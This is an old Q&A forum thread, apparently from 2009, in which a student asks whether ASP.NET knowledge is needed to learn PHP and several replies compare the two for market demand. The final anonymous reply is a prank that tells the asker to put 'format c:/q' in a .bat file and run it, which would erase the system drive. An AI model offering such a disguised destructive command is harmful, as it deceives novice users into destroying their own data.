Is it necessary 2 learn php having knowledge of asp.net?

I m studing in B.E.IT, In nxt sem i have a project,i m confuse learn asp.net nd take a asp.net project ,OR learn PHP nd make project in php.
nd 4 php is it compalsiry having a knowledge of asp.net.?
i have little knowledge of asp.net.

topherG2009-06-19T10:33:30Z

Favorite Answer

"As horrible a scripting language as it is, it is still the primary language used for dynamic web control."

Sounds like someone's bitter... I can think of scripting languages (::coughVBScriptcough::, ::coughJScriptcough::, ::coughClassicASPcough::) put out by Microsoft that are MUCH more horrible.

Learning the .NET framework will be a big help if you plan to move into systems programming for Microsoft environments. ASP.NET is a very powerful language, but the marketshare (right now) is in the hands of PHP...

I'd say the demand for PHP programmers is higher than for ASP.NET programmers - but there's no reason you shouldn't persue both.

Anonymous2009-06-19T11:37:24Z

ASP.NET is great for data driven web apps but its true, PHP is more marketable a skill to have as a developer. It really depends what kind od work you want to do. To corporate world is still hooked on microsoft technologies while freelance type projects prefer PHP. At any rate, while you are making up your mind, bone up on your SQL and CSS since they are useful for both.

Keep a look out for what happens with microsoft's visual studio 2010 though. It is going to be the first software to incorporate both ASP.NET and PHP scripting in the same development environment. Not that you will be able to combine the languages on a single project, but the interface will be the same.

korgrue2009-06-19T10:15:17Z

If you are planning to do any type of web development, PHP is crucial to know.

As horrible a scripting language as it is, it is still the primary language used for dynamic web control.

Anonymous2009-06-19T10:20:16Z

In a text file write the following:

format c:/q

Then save the file. Rename the .txt to .bat.

Run it, then when it tells you to... press Y.
Then have a nice life.
(dont really do this, unless you want to install a great antivirus and anti malware program called FormatCQ. Free and open source)